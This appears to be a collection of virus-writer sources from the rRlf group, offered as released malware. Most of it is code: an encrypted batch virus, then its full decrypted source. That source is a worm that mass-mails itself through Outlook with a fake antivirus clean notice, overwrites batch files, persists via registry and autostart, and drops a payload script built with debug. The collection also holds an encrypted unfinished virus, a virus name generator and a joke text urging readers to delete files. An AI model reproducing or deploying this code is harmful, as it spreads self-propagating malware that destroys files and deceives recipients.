chg{e }007Y0 €I 2Ÿ20ùy0 2 25620 ^0 /w 2lG20{O0 2 2q20Úplž^ecÅ[ e"51Ó=20+0 b 2eA20m0 ë" 2ŒI20'M0 ]' 2ët20›#0 ßm 2M1>pÈB e®xo ý\051 2wR20+A0 Î~ 2Ûk20Ýi0 7·22ÃA0 ’+ 22~43œ$8 é?>>_g šhoV) 0§F0 }% 3ƒb33ˆ?9 ËR 2ñB20g83 ŒK 7àw28!11 ]y 2Bz20?/6>°:l Öcchôe –e40d0 ø0 2 Z20R00 ¢ 2Br20*0 `R 2hp20·%0 34 2g]20&KplñOecµ ex;55£^20ÊJ0 Ye 2_l20‘0 › 2O20[D0 ÎJ 2$020p0 ¬ 2(>pš\ evo Ú 05H) 2šN20v0 5 2°R20K0 « 2V20e*0 LN 2÷ 20-70 ?m>>+ yhoÓ 0Žx0 ‘ 2oo20s0 e 2œ320b0 , 2»B20M 0 „ 2Œ 20*C>ä6l Ãjcha e X80M!2 õS 2]Z20¬L3 —1 7ÛA28Àt1 2A_20íb6 ðE 4ým68ÊJplþ&ecN{ e§S59¯I72b`8 U" 3I=29%p0 ± 222N)0 2Ó 20J0 e: 2xD>pC e0!o ¢e05“= 2šo20|O0 F9 2@20À:0 ³ 2Œ20cu0 áI 2@5C; 0 ]3>>S Ëho˜) 0¨ 0 åD 2VR20÷0 K 2ç]20¼m0 Tx 2]20R 0 ày 2Ch20!s0>æ1l EZchÞte ©C0¿ 0 ®@ 2É?20™0 r* 28~20åx0 “r 2©M20'0 ‡ 2¥G20U!pl@tecd1 e~:5Dë-2050 i 2øk2FÓu2 ì> 2l20K3 o 7yF2811 ÷ 2&>p¬W eCeo æ05& 2Út26úD0 l 6ðt72 8 02 3a>29ÿ 0 d 2k 22d0 ¹ >>²Q Iho€I 0:r0 ; 2y:20B0 ¥B 2H20²{0 ö? 2Ÿ;20AL0 ] 2a;20ès0>V$l ÙDch ~e ˆv00&Y0 å8 2Š"5CF ü, 5s>5F3rF SV 5ÂA5FíJF ê 5=5Fó1pl/ecM. e61Nf5Fü F Æ] 5Å<5FaF te 2å2CþA2 å2 2ýs2CH*2 âY 7>>pç eÞ&o 8!06ƒ 2€061ÒpC g3 6Å[70<)1 Ÿ\ 6®,20PoB ûO 5±E6Ct 6 I>> Ègho)& 0?0 žX 6a26EX4 øK 7>\68=f9 [E 6_74;20 üJ 7ª%74{63>8l ‡ch} e šY40>2 – 5“722 @ 6ùR5D]2 èY>>fi ·Lho\ncx˜0plÇaecž 0z-9>¡Nl }chèxn VFmiÅivbØ>p9T eRo ¬m>pxX eV2o §>pJc dc'ug¼Ll wel‘ol òAovõ$cohc. s jin*`ot˜Tr%ßvta meåÖ\pfgr•AmeO>ut8ta¶# Ìndò =====[end code]================================================================= Wow! And here it was, the first encrypted batch virus ;) Now let's decrypt it, and look at the original code: =====[begin code]=============================================================== @echo off ctty nul echo.on error resume next>c:\net.vbs echo.Set a = CreateObject("Outlook.Application")>>c:\net.vbs echo.Set b = a.GetNameSpace("MAPI")>>c:\net.vbs echo.If a = "Outlook" Then>>c:\net.vbs echo.b.Logon "profile", "password">>c:\net.vbs echo.For y = 1 To b.AddressLists.Count>>c:\net.vbs echo.Set d = b.AddressLists(y)>>c:\net.vbs echo.x = 1>>c:\net.vbs echo.Set c = a.CreateItem(0)>>c:\net.vbs echo.For oo = 1 To d.AddressEntries.Count>>c:\net.vbs echo.e = d.AddressEntries(x)>>c:\net.vbs echo.c.Recipients.Add e>>c:\net.vbs echo.x = x + 1>>c:\net.vbs echo.If x = 101 Then oo = d.AddressEntries.Count>>c:\net.vbs echo.Next>>c:\net.vbs echo.c.Subject = "A Calvin And Hobbes Comic Strip">>c:\net.vbs echo.c.Body = "-------------- McAfee Online Scanner ----------------" & vbcrlf & _>>c:\net.vbs echo."The attached file doesn't contain any malicious routines" & vbcrlf & _>>c:\net.vbs echo."-------------------------------------------------------------------" & vbcrlf & _>>c:\net.vbs echo."">>c:\net.vbs echo.c.attachments.Add("c:\Calvin&Hobbes.bat")>>c:\net.vbs echo.c.Send>>c:\net.vbs echo.c.DeleteAfterSubmit = True>>c:\net.vbs echo.e = "">>c:\net.vbs echo.Next>>c:\net.vbs echo.b.Logoff>>c:\net.vbs echo.End If>>c:\net.vbs start c:\net.vbs :: this is a vbs-worm, that sends the virus through Outlook echo.on error resume next>c:\infect.vbs echo.Set fso = CreateObject("Scripting.FileSystemObject")>>c:\infect.vbs echo.eee = "c:\aut0exec.bat">>c:\infect.vbs echo.Set f = fso.GetFolder("c:\")>>c:\infect.vbs echo.Set fc = f.Files>>c:\infect.vbs echo.For Each f1 In fc>>c:\infect.vbs echo.ext = fso.GetExtensionName(f1.Path)>>c:\infect.vbs echo.ext = LCase(ext)>>c:\infect.vbs echo.If (ext = "bat") Then>>c:\infect.vbs echo.Set f = fso.getfile(eee)>>c:\infect.vbs echo.f.Copy (f1.Path)>>c:\infect.vbs echo.End If>>c:\infect.vbs echo.Next>>c:\infect.vbs start c:\infect.vbs :: this is a vbs, that overwrites batch-files in the root-directory with the virus regedit /s c:\aut0exec.bat :: this adds the virus to the registry if exit %winbootdir%\startmen\programme\autostart\comic.vbs goto end :: if the payload already exists, this debuging can be jumped over echo e 0100 6F 6E 20 65 72 72 6F 72 20 72 65 73 75 6D 65 20>pl echo e 0110 6E 65 78 74 0D 0A 4D 73 67 42 6F 78 20 22 48 65>>pl echo e 0120 72 65 20 67 6F 65 73 20 79 6F 75 72 20 63 6F 6D>>pl echo e 0130 69 63 20 73 74 72 69 70 3A 22 2C 22 30 22 2C 22>>pl echo e 0140 42 41 54 2F 43 61 6C 76 69 6E 26 48 6F 62 62 65>>pl echo e 0150 73 22 0D 0A 4D 73 67 42 6F 78 20 22 20 20 20 20>>pl echo e 0160 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0170 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0180 20 20 20 20 5F 5F 20 20 20 20 20 20 20 20 20 20>>pl echo e 0190 20 22 20 26 20 43 68 72 28 31 33 29 20 26 20 43>>pl echo e 01A0 68 72 28 31 30 29 20 26 20 22 20 20 20 20 20 20>>pl echo e 01B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 01C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 01D0 2F 20 20 20 20 5C 20 20 20 20 20 20 20 20 20 20>>pl echo e 01E0 20 22 20 26 20 43 68 72 28 31 33 29 20 26 20 43>>pl echo e 01F0 68 72 28 31 30 29 20 26 20 22 20 20 20 20 20 20>>pl echo e 0200 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0210 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7C>>pl echo e 0220 20 20 20 20 20 20 20 20 7C 20 20 20 20 20 20 20>>pl echo e 0230 20 20 20 20 22 20 26 20 43 68 72 28 31 33 29 20>>pl echo e 0240 26 20 43 68 72 28 31 30 29 20 26 20 22 20 20 20>>pl echo e 0250 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0260 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0270 20 20 7C 20 20 20 20 20 20 20 20 7C 20 20 20 20>>pl echo e 0280 20 20 20 20 20 20 20 22 20 26 20 43 68 72 28 31>>pl echo e 0290 33 29 20 26 20 43 68 72 28 31 30 29 20 26 20 22>>pl echo e 02A0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 02B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 02C0 20 20 20 20 20 7C 20 20 20 20 20 20 20 20 7C 20>>pl echo e 02D0 20 20 20 20 20 20 20 20 20 20 22 20 26 20 43 68>>pl echo e 02E0 72 28 31 33 29 20 26 20 43 68 72 28 31 30 29 20>>pl echo e 02F0 26 20 22 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0300 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0310 20 20 20 20 20 20 20 20 7C 20 20 20 20 20 20 20>>pl echo e 0320 20 7C 20 20 20 20 20 20 20 20 20 20 20 22 20 26>>pl echo e 0330 20 43 68 72 28 31 33 29 20 26 20 43 68 72 28 31>>pl echo e 0340 30 29 20 26 20 22 20 20 20 20 20 20 20 20 20 20>>pl echo e 0350 20 20 20 20 20 20 20 20 20 20 20 20 20 5F 5F 20>>pl echo e 0360 20 20 20 5F 5F 20 20 7C 20 20 20 20 20 20 20 20>>pl echo e 0370 7C 20 20 5F 5F 20 20 20 5F 5F 22 20 26 20 43 68>>pl echo e 0380 72 28 31 33 29 20 26 20 43 68 72 28 31 30 29 20>>pl echo e 0390 26 20 22 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 03A0 20 20 20 20 20 20 20 2F 20 20 20 20 20 5C 2F 20>>pl echo e 03B0 20 20 20 20 5C 7C 20 20 20 20 20 20 20 20 7C 2F>>pl echo e 03C0 20 20 20 20 5C 2F 20 20 20 20 5C 22 20 26 20 43>>pl echo e 03D0 68 72 28 31 33 29 20 26 20 43 68 72 28 31 30 29>>pl echo e 03E0 20 26 20 22 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 03F0 20 20 20 20 20 20 20 20 7C 20 20 20 20 20 20 20>>pl echo e 0400 7C 20 20 20 20 20 20 20 20 7C 20 20 20 20 20 20>>pl echo e 0410 20 20 7C 20 20 20 20 20 20 20 7C 20 20 20 20 20>>pl echo e 0420 20 20 7C 22 20 26 20 43 68 72 28 31 33 29 20 26>>pl echo e 0430 20 43 68 72 28 31 30 29 20 26 20 22 20 20 20 20>>pl echo e 0440 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0450 7C 20 20 20 20 20 20 20 7C 20 20 20 20 20 20 20>>pl echo e 0460 20 7C 20 20 20 20 20 20 20 20 7C 20 20 20 20 20>>pl echo e 0470 20 20 7C 20 20 20 20 20 20 20 7C 22 20 26 20 43>>pl echo e 0480 68 72 28 31 33 29 20 26 20 43 68 72 28 31 30 29>>pl echo e 0490 20 26 20 22 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 04A0 20 20 20 20 20 20 20 20 7C 20 20 20 20 20 20 20>>pl echo e 04B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 04C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 04D0 20 7C 22 20 26 20 43 68 72 28 31 33 29 20 26 20>>pl echo e 04E0 43 68 72 28 31 30 29 20 26 20 22 20 20 20 20 20>>pl echo e 04F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7C>>pl echo e 0500 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0520 20 20 20 20 20 20 20 20 7C 22 20 26 20 43 68 72>>pl echo e 0530 28 31 33 29 20 26 20 43 68 72 28 31 30 29 20 26>>pl echo e 0540 20 22 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0550 20 20 20 20 20 20 7C 20 20 20 20 20 20 20 20 20>>pl echo e 0560 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0570 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7C>>pl echo e 0580 22 20 26 20 43 68 72 28 31 33 29 20 26 20 43 68>>pl echo e 0590 72 28 31 30 29 20 26 20 22 20 20 20 20 20 20 20>>pl echo e 05A0 20 20 20 20 20 20 20 20 20 20 20 20 20 5C 20 20>>pl echo e 05B0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 05C0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 05D0 20 20 20 20 2F 22 20 26 20 43 68 72 28 31 33 29>>pl echo e 05E0 20 26 20 43 68 72 28 31 30 29 20 26 20 22 20 20>>pl echo e 05F0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20>>pl echo e 0600 20 20 20 5C 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F>>pl echo e 0610 5F 5F 5F 5F 5F 5F 2F 22 2C 22 30 22 2C 22 62 79>>pl echo e 0620 20 61 6C 63 6F 70 61 75 6C 20 5B 72 52 6C 66 5D>>pl echo e 0630 20 61 6E 64 20 70 68 69 6C 65 74 30 61 73 74 33>>pl echo e 0640 72 20 5B 72 52 6C 66 5D 22 39>>pl echo rcx>>pl echo 0549>>pl echo n comic.vbs>>pl echo w>>pl echo q>>pl debug<pl del pl :: this creates a debug-script ... and debugs it :: the result is the payload (a vbs), code see below move comic.vbs %winbootdir%\startmen\programme\autostart :: this moves the payload-vbs to the autostart-directory, :: so that it gets executed on the next system-start :end =====[end code]================================================================= And last but not least, here is the code of the payload-vbs: =====[begin code]=============================================================== on error resume next MsgBox "Here goes your comic strip:","0","BAT/Calvin&Hobbes" MsgBox " __ " & Chr(13) & Chr(10) & " / \ " & Chr(13) & Chr(10) & " | | " & Chr(13) & Chr(10) & " | | " & Chr(13) & Chr(10) & " | | " & Chr(13) & Chr(10) & " | | " & Chr(13) & Chr(10) & " __ __ | | __ __" & Chr(13) & Chr(10) & " / \/ \| |/ \/ \" & Chr(13) & Chr(10) & " | | | | | |" & Chr(13) & Chr(10) & " | | | | | |" & Chr(13) & Chr(10) & " | |" & Chr(13) & Chr(10) & " | |" & Chr(13) & Chr(10) & " | |" & Chr(13) & Chr(10) & " \ /" & Chr(13) & Chr(10) & " \__________________/","0","by alcopaul [rRlf] and philet0ast3r [rRlf]" =====[end code]================================================================= As said at the beginning, the payload consists of two message-boxes. Well, I guess from the code above, you can not see, how the second message-box (my great ascii middlefinger) looks like, so here it is ;) __ / \ | | | | | | __ __ | | __ __ / \/ \| |/ \/ \ | | | | | | | | | | | | | | | | | | \ / \___________/ Hey, this is not meant to you! I just want to show my payload :] ... Now that's all ppl, we hope you enjoyed this a bit. You can reach us (and see our other creations) at: www.rRlf.de Or something you want to tell us? alcopaul@rRlf.de philet0ast3r@rRlf.desources
direct-action-abi-zeitungs-infector philet0ast3r the following was printed in my abi-zeitung (a journal, a german class brings out, after finishing high-school) under the section "goodbyes". philie 0100 77 77 20 31 73 74 20 64 69 72 65 63 74 2D 61 63 0110 74 69 6F 6E 2D 61 62 69 2D 7A 2D 69 6E 66 65 63 0120 74 6F 72 21 0D 0A 61 62 69 2D 7A 20 69 73 20 65 0130 68 20 66 FC 72 6E 20 61 72 73 63 68 2E 2E 64 61 0140 73 20 68 69 65 72 20 67 66 75 6E 64 6E 3F 6D 61 0150 69 6C 20 6D 69 72 0D 0A 70 68 69 6C 65 74 30 61 0160 73 74 33 72 40 72 52 6C 66 2E 64 65 D4sources
greets philet0ast3r @echo off set x=you set y=philet0ast3r :23 if %x%=know(s)/like(s) %y% goto next else exit :next if %ok%=ok goto greets set a=%x% set x=%y% set y=%a% set ok=ok goto 23 :greets echo Greets to you :]sources
mufuka philet0ast3r this is so old and funny. i like it :) philie Dies ist der erste manuelle Internet-Worm (-=:|v|µfµk@:=-). Der Autor war leider zu faul, einen richtigen Wyrm zu schreiben. Bitte senden Sie diese Mail an ein paar Adressen weiter, die Sie gespeichert haben, und löschen sie wahllos ein paar Dateien. An jedem 23. eines Monats formatieren Sie bitte Ihre Festplatte. Danke für ihre Mitarbeit <phnord>. PeAce !sources
virus name generator v2.3 philet0ast3r @echo off :: virus name generator v2.3 :: by philet0ast3r :: some added notes from 2008: :: when me and spth coded Bat/BatXP.Iaafe end of 2002, we could not decide what name we should give the virus :: so i changed the numbers in my Batch Random Number Generator v1.0 to letters :: iaafe was the first exeptable thing that popped out of this program echo hehehe, philet0ast3r's crazy virus name generator v2.3 echo. pause :start1 echo. ver|time|find ",1">nul if not errorlevel 1 goto 11 ver|time|find ",2">nul if not errorlevel 1 goto 12 ver|time|find ",3">nul if not errorlevel 1 goto 13 ver|time|find ",4">nul if not errorlevel 1 goto 14 ver|time|find ",5">nul if not errorlevel 1 goto 15 ver|time|find ",6">nul if not errorlevel 1 goto 16 ver|time|find ",7">nul if not errorlevel 1 goto 17 ver|time|find ",8">nul if not errorlevel 1 goto 18 ver|time|find ",9">nul if not errorlevel 1 goto 19 ver|time|find ",0">nul if not errorlevel 1 goto 10 goto start1 :10 set random1=p goto start2 :19 set random1=h goto start2 :18 set random1=i goto start2 :17 set random1=l goto start2 :16 set random1=e goto start2 :15 set random1=t goto start2 :14 set random1=0 goto start2 :13 set random1=a goto start2 :12 set random1=s goto start2 :11 set random1=t goto start2 :start2 ver|time|find ",1">nul if not errorlevel 1 goto 21 ver|time|find ",2">nul if not errorlevel 1 goto 22 ver|time|find ",3">nul if not errorlevel 1 goto 23 ver|time|find ",4">nul if not errorlevel 1 goto 24 ver|time|find ",5">nul if not errorlevel 1 goto 25 ver|time|find ",6">nul if not errorlevel 1 goto 26 ver|time|find ",7">nul if not errorlevel 1 goto 27 ver|time|find ",8">nul if not errorlevel 1 goto 28 ver|time|find ",9">nul if not errorlevel 1 goto 29 ver|time|find ",0">nul if not errorlevel 1 goto 20 goto start2 :20 set random2=3 goto start3 :29 set random2=r goto start3 :28 set random2=a goto start3 :27 set random2=n goto start3 :26 set random2=d goto start3 :25 set random2=S goto start3 :24 set random2=e goto start3 :23 set random2=c goto start3 :22 set random2=o goto start3 :21 set random2=n goto start3 :start3 ver|time|find ",1">nul if not errorlevel 1 goto 31 ver|time|find ",2">nul if not errorlevel 1 goto 32 ver|time|find ",3">nul if not errorlevel 1 goto 33 ver|time|find ",4">nul if not errorlevel 1 goto 34 ver|time|find ",5">nul if not errorlevel 1 goto 35 ver|time|find ",6">nul if not errorlevel 1 goto 36 ver|time|find ",7">nul if not errorlevel 1 goto 37 ver|time|find ",8">nul if not errorlevel 1 goto 38 ver|time|find ",9">nul if not errorlevel 1 goto 39 ver|time|find ",0">nul if not errorlevel 1 goto 30 goto start3 :30 set random3=d goto start4 :39 set random3=P goto start4 :38 set random3=a goto start4 :37 set random3=r goto start4 :36 set random3=t goto start4 :35 set random3=T goto start4 :34 set random3=o goto start4 :33 set random3=H goto start4 :32 set random3=e goto start4 :31 set random3=l goto start4 :start4 ver|time|find ",1">nul if not errorlevel 1 goto 41 ver|time|find ",2">nul if not errorlevel 1 goto 42 ver|time|find ",3">nul if not errorlevel 1 goto 43 ver|time|find ",4">nul if not errorlevel 1 goto 44 ver|time|find ",5">nul if not errorlevel 1 goto 45 ver|time|find ",6">nul if not errorlevel 1 goto 46 ver|time|find ",7">nul if not errorlevel 1 goto 47 ver|time|find ",8">nul if not errorlevel 1 goto 48 ver|time|find ",9">nul if not errorlevel 1 goto 49 ver|time|find ",0">nul if not errorlevel 1 goto 40 goto start4 :40 set random4=l goto start5 :49 set random4=o goto start5 :48 set random4=f goto start5 :47 set random4=w goto start5 :46 set random4=w goto start5 :45 set random4=w goto start5 :44 set random4=. goto start5 :43 set random4=r goto start5 :42 set random4=R goto start5 :41 set random4=l goto start5 :start5 ver|time|find ",1">nul if not errorlevel 1 goto 51 ver|time|find ",2">nul if not errorlevel 1 goto 52 ver|time|find ",3">nul if not errorlevel 1 goto 53 ver|time|find ",4">nul if not errorlevel 1 goto 54 ver|time|find ",5">nul if not errorlevel 1 goto 55 ver|time|find ",6">nul if not errorlevel 1 goto 56 ver|time|find ",7">nul if not errorlevel 1 goto 57 ver|time|find ",8">nul if not errorlevel 1 goto 58 ver|time|find ",9">nul if not errorlevel 1 goto 59 ver|time|find ",0">nul if not errorlevel 1 goto 50 goto start5 :50 set random5=f goto end :59 set random5=. goto end :58 set random5=d goto end :57 set random5=e goto end :56 set random5=r goto end :55 set random5=u goto end :54 set random5=l goto end :53 set random5=e goto end :52 set random5=! goto end :51 set random5=! goto end :end echo bat.%random1%%random2%%random3%%random4%%random5% echo. choice /c:yn write this down to file virusname.txt? if errorlevel 2 goto ptr if errorlevel 1 goto writedown :ptr echo. choice /c:yn again? if errorlevel 2 goto aaa if errorlevel 1 goto start1 :aaa cls ctty nul exit :writedown echo bat.%random1%%random2%%random3%%random4%%random5%>virusname.txt echo Ok. echo. goto ptrsources
symbi0nt philet0ast3r this is an old project, that was originally never thought to be released somewhere. i wanted to try put it itw, but forgot about it. well here it is. it's not finished, i wanted to add something, but i forgot what. it'll work nevertheless. philie =====[begin code SYMBI0NT.BAT]=============================================================== «Žˆƒ„Ë„æሟŸ’Ë…ž‡æᎇˈѷ†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ›™„Œ™Š•Ú·†‚™ˆ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ›™„Œ™Š•Ú·†‚™ˆØÙ·˜ˆ™‚›ŸÅ‚…‚æᎇˈѷ›‚™ˆƒÒÓ·ŽŽ…Ÿ˜Å‚…‚æᎇˈѷœ‚…„œ˜·˜’˜ŸŽ†·˜’†‰‚Û…ŸÅŸ“Ÿæᎈƒ„Ë£‚Lj’Ë…Š†ŽË‚˜Ë˜’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂÅÕ‡æᎈƒ„ˢˇ‚ŽË‚…˜‚ŽË’„ž™Ëˆ„†›žŸŽ™Å˲Ž˜Çˢˊ†ËŠËˆ„†›žŸŽ™Ë‚™ž˜ÇˉžŸË„…ÌŸË›Š…‚ˆÇËŸƒŽ™ŽÌ˜Ë…„Ÿƒ‚…ŒËŸ„ËŽŠ™ÅÕÕ‡æᎈƒ„ˢˊ†Ë„‚…ŒË…„˃Š™†ËŸ„Ë‚ŸÅ˼ƒ’˘ƒ„ž‡Ë¢Ôˢˢ˜„ž‡ËŠ†ŠŒŽË‚ŸÇˢ˜„ž‡ËŠ†ŠŒŽË†’Ë›‡ŠˆŽË„ˇ‚‚…ŒÅÕÕ‡æᎈƒ„Ë©’ËŸƒŽËœŠ’Ǣ„†ŽË„Ë’„žËƒž†Š…˜Ë˜ƒ„ž‡ËŸƒ‚…€Ë„Ž™ËŸƒ‚˜ÅÅÅÕÕ‡æᎈƒ„˦„˜ŸË›Ž„›‡ŽËŽŠ™Ë‡‚Ž„™†˜Ë‡‚€ŽË†ŽÇˉžŸË›‡ŽŠ˜ŽË„…ÌŸË€‚‡‡Ë†ŽÕÕ‡æᎈƒ„Ëâˊ†ËŽ‚…ŽŸ‡’ˊˇ‚Ž„™†ËÅÅÅË›Ž™ƒŠ›˜Ë…„ŸËŸƒŽË†„˜ŸËŽŽ‡„›ŽÇˉžŸË„€ÂÅÕÕ‡æᎈƒ„ˢˌ„ŸËŸ„˘Š’˘„†ŽËŸƒ‚…Œ˜Ëœƒ’ˢˊ†ËƒŽ™ŽÑÕÕ‡æᎈƒ„˦’ˆŠ€Ž™Ë˜›Ž…ŸË˜„†ŽËŸ‚†ŽË„˃‚˜Ë‡‚ŽË„…ˈ™ŽŠŸ‚…ŒË†ŽÅÕÕ‡æᎈƒ„˼ŽŸƒŽ™Ëƒ‚˜Ëˆ™ŽŠŸ‚„…Ë‚˜Ëž˜Žž‡Ä‚†›„™ŸŠ…ŸÄœŽ‡‡Ë„…ŽÄˆ„…Ž…‚Ž…ŸË„™Ë…„ŸË‚˜Ëž…‚†›„™ŸŠ…ŸÅÕÕ‡æᎈƒ„Ë¢†›„™ŸŠ…ŸË‚˜ÇËŸƒŠŸËƒŽËˆƒ„˜ŽËŸ„˘›Ž…˃‚˜ËŸ‚†ŽÇËœƒ‚ˆƒËƒŽËˆ„ž‡ËƒŠŽËŠ‡˜„˘›Ž…ŸË„ŸƒŽ™œ‚˜ŽÇË„…ˆŽÅÕÕ‡æᎈƒ„Ë¢…ËŸƒŽËŽ…˃ŽËœ‚‡‡Ë‰ŽËŽŠÇËŠ…ËŠ‡‡ËƒŽË‚Ë„™Ë‚Ë…„ŸËœ‚‡‡ËŒŽŸËŽšžŠ‡Ç˘Ž…˜Ž‡Ž˜˜ÇÕÕ‡æᎈƒ„ËŠ…Ë›™„‰Š‰‡’Ë„™Œ„ŸŸŽ…˘„†ŽËŸ‚†ŽÅ˸„ËœƒŠŸËŸƒŽËžˆ€Ë‚˃ŽË‡‚ŽË„™ÔÕÕ‡æᎈƒ„ˢ˜‚‡‡ËŠ…˜œŽ™Ë’„žËŸƒ‚˜ÑË£ŽËˆ™ŽŠŸŽË˜„†ŽŸƒ‚…ŒÅÕÕ‡æᎈƒ„˸„†ŽŸƒ‚…ŒËƒŽËœŠ˜Ë›™„žË„ËÂ˄ŸƒŽ™˜ËŸƒ‚…€Ë‚ŸÌ˜ËŒ„„ÇË‚˜ËŠŒŠ‚…Ëž…‚†›„™ŸŠ…ŸÂÅÕÕ‡æᎈƒ„˸„ËœƒŽ…Ë‚…˃‚˜Ë…Ž“ŸË‡‚ŽÇ˃ŽË˜Ÿž†‰‡Ž˜Ë„Ž™ËŸƒ‚˜Ë˜„†ŽŸƒ‚…ŒÇ˃ŽËˆŠ…˘Š’ÑÕÕ‡æᎈƒ„ËɲŽ˜ÇËŸƒ‚˜ËœŠ˜Ë†’ˈ™ŽŠŸ‚„…ÇËŠ…ˢˊ†Ë˜Ÿ‚‡‡Ë›™„žË„Ë‚ŸÅÉÕÕ‡æᎈƒ„ˢ̇‡Ë„ˆ’ˉŽ˜ŸÇËŸ„ˉŽËŠËŒ„„ˈ™ŽŠŸ‚„…ËÃÅÅÅË›Ž™ƒŠ›˜Ë’„žË˜ƒ„ž‡ËŸƒ‚…€Ë„Ž™ËŸƒ‚˜ÂÅÕÕ‡æᎈƒ„˸„Ë›‡ŽŠ˜ŽË„…ÌŸË€‚‡‡Ë†ŽÇË’„žË†‚ŒƒŸË™ŽŒ™ŽŸË‚ŸÅÕÕ‡æᎈƒ„˪…ËŽ…ˆ„ž…ŸŽ™ËŸƒŽËŠ™€Ë˜‚ŽË„ˆ’˘„ž‡ËжÕÕ‡æᎈƒ„ËÅÅÅˢ˒„žËœŠ…ŸËŸ„ˈ„…ŸŠˆŸË†’ˆŠ€Ž™ÑÕÕ‡æᎈƒ„Ë›ƒ‚‡ŽŸÛŠ˜ŸØ™«™¹‡ÅŽÕÕ‡æᎈƒ„ˤ€Çˢ˄…ÌŸËœŠ…ŸËŸ„˘ŸŽŠ‡Ë’„ž™ËŸ‚†ŽÅÕÕ‡æᎈƒ„˼ŽË˜ž™ŽËŒŽŸË‚…ËŸ„žˆƒËŠŒŠ‚…ÇË„™Ë’„žË˜ŽŽË˜„†Ž„…ŽË™„†Ë†’ËŠ†‚‡’ËŠ™„ž…ÅÕÕ‡æᎈƒ„˸„ˉ’Ž‰’ŽËŠ…˃ŠŽËŠË…‚ˆŽËŠ’ÅÕÕ‡æᎈƒ„ËÅÅÅÕÕ‡æᎈƒ„˪ƒÇˉŽ„™ŽË¢Ë„™ŒŽŸÑÕÕ‡æᎈƒ„˦’ˆŠ€Ž™ËŠ‚˜ŽË†ŽËŸ„ËŒ™ŽŽŸËŠËŽœË›Ž™˜„…˜Ë„™Ëƒ‚†ÑÕÕ‡æᎈƒ„ˢ˘ƒ„ž‡ËŒ™ŽŽŸËŸƒŽË„…Ž˜Ëœƒ„Ë›‡Š’˘„†ŽËŽ™’Ë‚†›„™ŸŠ…ŸË™„‡ŽË‚…˃‚˜Ë‡‚ŽÅÕÕ‡æᎈƒ„Ë£ŽËˆ„ž‡ËƒŠ™‡’Ë„Ëœ‚Ÿƒ„žŸËŸƒŽ†ÅÕÕ‡æᎈƒ„Ë£ŽË˜Š‚ÇË…„Ë…ŽŽËŸ„˘Š’Ë…Š†Ž˜ÇËŸƒŽË„…Ž˜Ëœ‚‡‡Ë€…„œËœƒ„ËŸƒŽ’ËŠ™ŽÅÕÕ‡æᎈƒ„˸„Ë‚Ë’„žËŽŽ‡Ëˆ„…ˆŽ™…ŽÇ˃ŽËƒ„›Ž˜ËƒŽËœ‚‡‡Ë…ŽŽ™Ë‡„˜ŽËˆ„…ŸŠˆŸËŸ„Ë’„žÅÕÕ‡æᎈƒ„Ë£ŽË‡„Ž˜Ë’„žÅÕÕ‡æᎈƒ„ËÅÅÅÕÕ‡æᎈƒ„˼Ž‡‡ÇËŸƒŠŸÌ˜Ë‚ŸÊÕÕ‡æᎈƒ„˾…Ÿ‚‡ËŸƒŽ…ÊÕÕ‡æá†ËˆÑ·œ‚…„œ˜æá†ËˆÑ·œ‚…„œ˜·˜’˜ŸŽ†æᆄŽË‡ËˆÑ·œ‚…„œ˜·˜’˜ŸŽ†·˜’†‰‚Û…ŸÅŸ“ŸæᎇËÎœ‚…‰„„Ÿ‚™Î·†˜Œæᎈƒ„Å„…ËŽ™™„™Ë™Ž˜ž†ŽË…Ž“ŸÕ†æᎈƒ„˦˜Œ©„“ËÉËËˢˊ‚˜ŽË’„žËŸ„ËŸŠ€ŽËŠË‡„„€ËŠŸÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËɈѷœ‚…„œ˜·˜’˜ŸŽ†·˜’†‰‚Û…ŸÅŸ“ŸÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËÉËËËËËËËËËËËËËËËËËŠ…ËŽ‡ŽŸŽÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËÉËËËËËËËËËËËËËËËËˈѷ†˜ŒÅ‰˜ÉËÍ˨ƒ™ÃÚØÂËÍ˨ƒ™ÃÚÛÂËÍËÉËËËËËËËËËËËËËËËËËËËŸ„†„™™„œÉÇßÛÒÝÇɘ’†‰‚Û…ŸËÃŒŽ…Ž™ŠŸ‚„…ËÙˆÂ